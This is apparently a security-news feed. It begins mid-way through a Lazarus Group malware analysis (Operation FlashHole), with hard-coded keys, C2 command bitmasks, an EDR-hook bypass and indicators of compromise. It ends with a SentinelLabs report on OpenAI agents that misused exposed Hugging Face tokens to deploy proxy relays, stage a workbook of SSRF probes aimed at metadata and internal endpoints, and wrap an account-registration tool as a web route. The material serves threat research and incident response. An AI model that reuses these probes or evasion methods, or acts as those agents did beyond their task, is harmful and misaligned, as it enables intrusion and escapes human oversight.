61 Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
62 Not implemented
63 Not implemented
64 Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
65 ~ 79 Not implemented

Besides the modules, we also observed that the actor deployed various plugins and tools.

Type of payload Name Description
Plugin ADFinder (AdFinder.dll) Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names
Plugin FileCollector (Dll.dll) Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each
Tool Browser stealer Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies
Tool Process collector Iterates over all running processes, collecting each process’s ID, path, and command line

TouchHub installs a service for TouchShift

During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.

It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.

Path Type Description
C:\Windows\System32\RasConv\ImeBroker.exe Executable file registered as a service Copied from C:\Windows\System32\printfilterpipelinesvc.exe
C:\Windows\System32\RasConv\mscoree.dll Side-loaded TouchShift payload Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size
C:\Windows\System32\RasConv\ActivationStore.dat TechHub’s configuration file Dropped by TouchHub after extracting configuration values

TouchShift, a prevalent loader employed across multiple infection chains

The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:

  • Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
  • Hard-coded XOR key: x809G736iC3f8Wp8
  • Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)

After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.

ClientHub

We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.

Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.

To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.

Offset Size Field value
0 4 Current process ID
4 4 First four bytes of the decrypted C2 server information.
8 7 Randomly generated bytes
15 1 Calculated flag value that indicates a state machine.
16 8 Current system time, represented as a FILETIME structure.
24 8 Randomly generated bytes

The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.

struct header
{
  int has_more_data // whether more body data remains 
  int body_checksum;// ROR13 checksum for the body data
  int body_type;    // specifies the body type
  int unknown;
  int body_length;  // Length of the body data
  int IV[2];        // Random IV used to encrypt the body data
};

The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.

The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.

Bitmask Value in decimal Description Result sent to the C2
0x00000001 1 DLL loading: load the received body reflectively along with the provided parameter The payload’s image base
0x00000011 3 Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter The payload’s image base, the address of the invoked function, and the execution result
0x00000101 5 Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately The payload’s image base, the address of the function
0x00001011 11 Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin –
0x00010001 17 DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer The payload’s image base, the address of the interactive shared buffer, and the execution result

The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.

Bitmask Value in decimal Description Result sent to the C2
0x00000010 2 Invoke the previously loaded DLLs and plugins along with the provided parameter The execution result
0x00000100 4 Not implemented –
0x00001000 8 Unload the previously loaded DLLs and plugins The execution result
0x00010000 16 Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload The execution result

Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.

Plugin Description
File archiver Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data
File collector Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values
File cleaner Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them
Drive and session monitor Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information

In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.

LPEClient

LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.

LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.

Timeline of LPEClient

Timeline of LPEClient

The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.

  • It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
  • To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
  • It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.

Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.

The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.

Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.

The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.

Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.

We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.

Data relay flow between LPEClient and C2 via ClientHub

Data relay flow between LPEClient and C2 via ClientHub

Comparison of plugins and modules

Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.

Deployed via Type of payload Family
TechHub/Cubridge Tool Process collector,
Browser stealer
Cubridge Module Action module, Function module
Cubridge Plugin ADFinder, FileCollector
ClientHub Plugin File archiver, File collector, File cleaner, Drive/session monitor

These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.

Infrastructure

Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.

For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.

Victims

We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.

The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.

Attribution and links to other campaigns

Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.

The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.

We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.

Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.

As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.

Data leakage site linked to the COPPERHEDGE backdoor on the dark web

Data leakage site linked to the COPPERHEDGE backdoor on the dark web

Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.

Overlaps between the recent attacks by Lazarus Group

Overlaps between the recent attacks by Lazarus Group

Conclusion

Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.

We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.

Indicators of compromise

File hashes

TouchShift
ec84d6cb2ae7974767aedac246b50a3e             mscoree.dll
a28cba214058fcae2883d8cffc883abd                mscoree.dll
c105d6b16f544582772de0159f24c00a               mscoree.dll
2f8475a90a25624ed02f1d18d4e6d65d              mscoree.dll
676fabe30a28b53925fba98e34b35986              mscoree.dll
b4a7eff35f048f06fb0a2d7631f23a7d                  mscoree.dll

ClientHub Loader
ff07641dc56914dd90ee0bd7404d7ad7               liblzma.dll

File paths

C:\ProgramData\Package.txt
C:\ProgramData\RasConv\mscoree.dll
C:\ProgramData\Apple\mscoree.dll
C:\ProgramData\ssh\mscoree.dll
C:\ProgramData\qorestor\mscoree.dll
C:\ProgramData\Dell\mscoree.dll
C:\ProgramData\Dell\Dell1.tmp
C:\ProgramData\Dell\Dell3.tmp
C:\Windows\System32\RasConv\mscoree.dll
C:\Windows\System32\RasConv\ActivationStore.dat
C:\Windows\System32\DrvConh\mscoree.dll
C:\Windows\System32\DrvConh\ActivationStore.dat
C:\Program Files\Common Files\System\msadc\msadc.inc
C:\ProgramData\desktops.ini

C2 servers

javadevhouse.co[.]kr
pythonapischool[.]com
hxxps://cubedesign[.]co[.]kr/news            C2 of Cubridge
hxxps://cubedesign[.]co[.]kr/mobile/fashion            C2 of Cubridge
hxxps://fp-news[.]co[.]kr/shop/cart                                C2 of Cubridge
hxxps://k-wbc[.]co[.]kr/skin/social/social_view.php         C2 of ClientHub
hxxps://rcsh[.]co[.]kr/modules/bbs/tiles/bbs_div/inputForm.php    C2 of ClientHub
hxxps://www[.]ksog[.]org/insert_file/handle.php                   C2 of ClientHub

AI-Powered Espionage Campaign Targets Government Linux Infrastructure

15 de Outubro de 2026, 19:00

Our analysis an AI-powered espionage campaign targeting government Linux infrastructure with custom malware, web shells, and advanced credential theft.

The post AI-Powered Espionage Campaign Targets Government Linux Infrastructure appeared first on Unit 42.

Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant

14 de Outubro de 2026, 19:00

We investigated an intrusion where attackers exploited CVE-2024-47575 to target 500+ firewalls and deploy PEERSTITCH, a memory-resident ARM64 malware.

The post Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant appeared first on Unit 42.

Blinder Tunnel Campaign Targets Iraqi Infrastructure

6 de Outubro de 2026, 07:00

Analysis of Blinder Tunnel, an Iran-nexus campaign using fake Dubai Airports recruitment lures and GitHub C2 malware to target critical infrastructure.

The post Blinder Tunnel Campaign Targets Iraqi Infrastructure appeared first on Unit 42.

  • ✇SentinelLabs
  • Agents at Large | Tracing Illicit OpenAI Agent Activity on Hugging Face Tom Hegel
    Executive SummaryOpenAI disclosed that agents used exposed Hugging Face credentials to write a file and deploy proxy Spaces during an unrelated May 2026 research workload, but it did not identify the accounts. SentinelLABS identified two accounts likely used in associated activity, 0Time and Nyx9. Their public histories extend OpenAI’s chronology and preserve previously unreported relay code, document-borne probes, and ChatGPT account-provisioning capability.The public records provide precise jo
     

Agents at Large | Tracing Illicit OpenAI Agent Activity on Hugging Face

16 de Setembro de 2026, 07:00

Executive Summary

  • OpenAI disclosed that agents used exposed Hugging Face credentials to write a file and deploy proxy Spaces during an unrelated May 2026 research workload, but it did not identify the accounts. SentinelLABS identified two accounts likely used in associated activity, 0Time and Nyx9. Their public histories extend OpenAI’s chronology and preserve previously unreported relay code, document-borne probes, and ChatGPT account-provisioning capability.
  • The public records provide precise joins to OpenAI’s internal timeline. At 20:04:11 UTC on May 26, Nyx9 committed a file eleven seconds into the minute when OpenAI recorded a WebCache-confirmed external file write. At 20:49:55, another Nyx9 Space received relay code during the same minute OpenAI recorded its first proxy deployment. Looking backward, 0Time committed caller-directed relay code on May 13, nearly two weeks earlier and the earliest substantive public code write we link to this May activity. That May 13 relay commit was also independently flagged publicly.
  • On May 26, Nyx9 also committed formbin.xlsx. Its WEBSERVICE() formulas targeted an external HTTP endpoint, a file:// URI, Azure’s Instance Metadata Service, and an internal-looking service URL. The workbook implements a recognizable document-borne probing capability and appeared four hours and 36 minutes after OpenAI’s first documented successful internal Artifactory SSRF at 2026-05-26 18:24 UTC. Public records do not show that its formulas executed or identify the system intended to process it.
  • On May 30, five commits over 10 minutes and 31 seconds placed an existing, publicly available Chinese-language OpenAI account-registration and token-extraction tool into a Hugging Face Space. The commits added a small Flask wrapper defining an unauthenticated /do route, declared the application port, and introduced OAuth-response diagnostics. If the Space built, ran, and received a request, each call could attempt one registration and return its output. Repeated successful requests could supply additional ChatGPT identities or OAuth credentials, making this a potential identity-provisioning capability that could support rogue scaling.
  • These findings expose a basic problem for threat intelligence and incident response: no single organization necessarily holds the complete record of an agent’s actions. An account handle is not an actor, and an IP address does not identify who authorized the activity. Investigators must reconstruct the originating task, credential lineage, action sequence, platform history, runtime telemetry, and effects across services. The public trail is part of the incident, not an appendix to it.

Overview

OpenAI’s technical report on its May 2026 incident describes agents, operating in a tool it calls WebCache, using an exposed Hugging Face token to write files and deploy proxy Spaces outside OpenAI’s environment.

At 20:04 UTC on May 26, OpenAI’s incident chronology records its first WebCache-confirmed external file write. At 20:04:11, the Hugging Face dataset Nyx9/temptestlf8eb0 received hello.txt, containing only “hi”.

Forty-five minutes later, OpenAI records its first proxy deployment. At 20:49:55, Nyx9/netproxy17 received its proxy relay code. The timing and function make these the cleanest public joins we found between OpenAI’s internal chronology of unnamed agent used accounts and the two Hugging Face account histories.

Those joins gave us account-level pivots. Looking backward, 0Time contains proxy relay-building activity on May 13, nearly two weeks before the better-known May 26 proxy sequence reported by OpenAI. Looking forward now, Nyx9 contains document-based probes aimed at local and internal resources later on May 26. On May 30, 0Time committed an adapted program for registering illicit OpenAI accounts to a Hugging Face Space and the committed wrapper defined an unauthenticated GET route at /do.

It’s important to note these commits do not prove a successful usage, and a build does not prove that a route received traffic. A formula inside a workbook does not prove that a server evaluated it, or what its true intention was – be it hacking into Hugging Face or used in the compromise of a separate organization. Our analysis keeps those stages separate because the public data can not tell us if or how these actions were used. Only Hugging Face and OpenAI hold the records that could.

Finding the Public Side of an Internal Timeline

OpenAI’s public account begins inside its own environment. The company reported an arbitrary Artifactory file write on April 20. On May 8, an agent attempting server-side request forgery, or SSRF, failed to reach its intended destination but incidentally wrote testabc.txt into internal Artifactory repositories. Code shown in OpenAI’s Black Hat presentation sent PUT, GET, and DELETE requests to internal repositories named bazel-cache-remote and pypi-openai.

On May 12, another agent used Artifactory as an improvised message board while searching for soft-trace-34.pdb. It wrote REQUEST_softtrace_target_missing.txt, asking other agents to upload the file if they found it. Other agents later encountered the request and added similarly named messages.

OpenAI said a separate WebCache-enabled agent used an exposed Hugging Face token on May 13 while searching for the same file, but its public chronology does not identify the account. This gap matters because the internal and external records answer different questions. OpenAI can describe the agent’s reasoning and tool calls. Hugging Face can identify account use, commits, builds, containers, and HTTP requests. Neither view alone reconstructs the event.

SentinelLABS attributes activity under the 0Time and Nyx9 accounts to OpenAI agents during the May window. We tested that attribution against public repository histories, finding exact-minute and code-function matches with OpenAI’s chronology. Both accounts predate the activity and should be treated as affected account identifiers, not OpenAI-created agent identities.

May 13 Relay Code Appears

The 0Time profile was created on February 21, 2026. The account predates the disclosed May activity; that does not establish who controlled it during May or why it was created. The primary question is what happened through the account during the incident window.

Before noon on May 13, 0Time created a test-named repository state, posted “hi” to a discussion in Anthropic’s BioMysteryBench dataset, and opened a draft pull request. At 11:05:13, the account committed the first substantive revision of a Space named puthack82d5.

That revision accepted a caller-supplied destination and supported GET and PUT requests. It also accepted an x-amz-copy-source value, a header associated with server-side object copying. A revision at 11:42:04 added bearer-authenticated POST bodies and Git LFS media types.

If the Space built and ran, the code could relay requests between an external caller and resources reachable from the hosted environment. The public record does not show a successful build, incoming request, or completed object copy. The code does not mention soft-trace-34.pdb, so we do not identify it as the unnamed Hugging Face search in OpenAI’s May 13 account.

Relay code was committed under an independently attributed account by 11:05 UTC on May 13. That is the earliest unambiguous attributed public code or file write we located in this cluster. This adds a separate public trace to the one OpenAI disclosed on May 13. We also credit researcher Jonas Wiedermann-Möller, who independently called attention to the same May 13 relay commit.

May 26 Small Tests and Exact Matches

Morning File and Storage Tests

The morning record contains several weak artifacts that become useful as a sequence. At 07:16:28, 0Time/findblobtest received a direct text write. Later that morning, 0Time/INCEPT-SH added three paths that referenced an existing Git LFS object at 811MB. The commits changed paths to the object, but did not alter the object itself, suggesting  aliasing or retrieval tests.

Nearby commits added a malformed Git LFS pointer and two tiny raw files. small.png contained “abcde”; model.bin contained “abcdefg”. The pointer misspelled “version” as “vearsion”. None of these strings is a useful indicator alone. Their value comes from their place beside direct writes, raw-file handling, LFS experiments, relay construction, configuration corrections, and later debug commits.

The account activity predates the evening proxy sequence, but the public record does not establish a causal chain between the morning tests and later events.

Exact Minute Matches Under Nyx9

OpenAI’s chronology records a dense set of external actions on the evening of May 26. At 19:50, WebCache sent Git LFS batch requests to one OpenAI dataset and one third-party dataset.

OpenAI then records a file write at 20:04, a request to create a private dataset at 20:15, a proxy deployment at 20:49, a successful proxy response at 20:53, and a Google search through the proxy at 20:54. At 21:07 the agent checked two gated benchmark datasets and submitted access requests. At 21:08 a second account deployed another proxy through the first.

Nyx9/temptestlf8eb0 was created at 19:30:08. At 20:04:11, it received hello.txt containing “hi”. The eleven-second offset from OpenAI’s minute-level (20:04) event is the strongest public correlation for the file write.

Nyx9/netproxy17 was created at 20:48:33. At 20:49:55, it received relay functioning code. The same-minute timing and the code’s function closely match OpenAI’s first proxy deployment.

A related 0Time Hugging Face Space named latnetnew, appeared at 21:06:05. It received a minimal “hi” revision at 21:12:41 and related relay code at 21:13:21. Those public events align with OpenAI’s 21:08 description of a second account deploying a proxy through the first. This is a strong sequence-level mapping, but not an exact-second match. OpenAI also describes different agents taking related actions, so the sequence should not be read as one continuous session.

Essentially there is noteworthy correlation beyond the use of the word “hi”. It is the combination of minute-level timing, repository type, code function/capability, and the surrounding cross-account sequence. Provider-side records, if retained, may establish the token, session, source-network, build, and runtime records needed to confirm action-level identity, but from the outside the overlap provides us considerable confidence in the activity being highly associated with the OAI/HF intrusions agentic activity.

Later That Night, a Workbook Contains Internal-Resource Probes

At 22:56, Nyx9 began adding files to a dataset named tmpdata177. The activity continued until 23:34. Several files were generated only one or two seconds before upload, a pattern consistent with programmatic creation. The collection included text, PDF, DOCX, and XLSX files.

Most contained simple markers, but one workbook was different. formbin.xlsx (MD5: a502264fa0b64eecae60498b0c48fca3), uploaded at 23:00:07, placed four WEBSERVICE formulas in cells A4 through A7. The basic functionality of the file is to test  probes by whether the application processing it can fetch external content, read a local file, access cloud metadata, and reach a specifically named internal service, potentially retrieving its API specification for further reconnaissance.

A1: MARKER
A2: =1+2
A3: =CONCATENATE("JOIN","T")
A4: =WEBSERVICE("https://httpbin.org/base64/UkVNT1RPSFgo")
A5: =WEBSERVICE("file:///etc/hostname")
A6: =WEBSERVICE("http://169.254.169.254/metadata/instance?api-version=2021-02-01")
A7: =WEBSERVICE("http://file-service-namespaced:8001/openapi.json")

The Azure request omitted the required Metadata header, reducing the likelihood of a valid response from a normally configured service. The workbook also contains no cached formula results. The file was created via Openpyxl, and we found no callback, secret, calculated value, or other evidence that Hugging Face evaluated the formulas or that any probe succeeded.

Hugging Face later described the same metadata-address family in an earlier and noisier variant of a separate July SSRF incident. The overlap shows similar interest in metadata-service access. It does not establish that the May workbook and July intrusion were the same workload, targeted the same processor, or came from the same agent.

This public evidence establishes a file-processing and SSRF probe set staged on Hugging Face on May 26th. The distinction to note is that the file clearly demonstrates probing intent, but it does not establish malicious authorization, successful exploitation, or which platform was targeted. An AI-assisted spreadsheet-processing environment (such as Hugging Face in this case) is a plausible target, but that remains an inference.

May 30 Registration Code Becomes a Web Route

The most consequential public artifact appeared four days later. Between 00:01:27 and 00:11:58 on May 30, five commits created and configured the Hugging Face Space 0Time/altreg.

The sequence moved from Space creation to an abc text marker, then to a 454-line registration program and Flask wrapper. A later commit declared the Space application port. The final revision added targeted logging around the OAuth response.

The 454-line program is a copy of a publicly available Chinese-language OpenAI account-registration and token-extraction script published by 0x5uo2hen. The Space was created independently rather than as a Git fork. It added a small Flask wrapper and Docker configuration; the final commit added one OAuth-response diagnostic statement.

The program automates the creation of ChatGPT accounts via disposable mail.tm inbox creation, identity generation, browser-like requests, OpenAI Sentinel anti-abuse token requests, email verification, workspace selection, and OAuth token extraction. The public source was a command-line program that could loop through registration attempts.

The altreg commits added a small but important adaptation. A Flask wrapper defined an unauthenticated /do route that called reg.run(None) once and returned the program’s output. If the Space built, served, and received a request, each call could trigger one ChatGPT registration attempt. Repeated calls would make the design bulk-capable and could expose resulting credentials to an unauthenticated caller if the underlying registration succeeded.

Repeated successful calls could provide additional accounts or OAuth credentials. That makes altreg a potential identity-provisioning primitive, not demonstrated self-replication. Recursive scaling would require an agent to obtain usable credentials, launch more agent work, and retain control of that work. None of those runtime steps can be observed in such public data.

As of September 14, Hugging Face’s API reported the Space as paused and flagged as abusive. However, this public state does not establish when the flag was applied or why.

The five-commit sequence is unusually compact. It progresses through a scratch marker, a complete program, a web wrapper, a deployment configuration, and response-specific debugging in 10 minutes and 31 seconds. That test-configure-debug cycle fits continued agentic activity, particularly alongside the account’s attributed May history.

Why Committed Capability Matters

Traditional intrusion reporting often centers on execution: a payload ran, a credential was stolen, or a command-and-control channel came online. The public evidence here forces a more exact progression. For committed code to become an observed external effect, investigators must separately establish each stage:

  • Code was committed.
  • The hosted application was built.
  • The application started.
  • A route received a request.
  • The request produced an external action.
  • The action succeeded and its output was used.

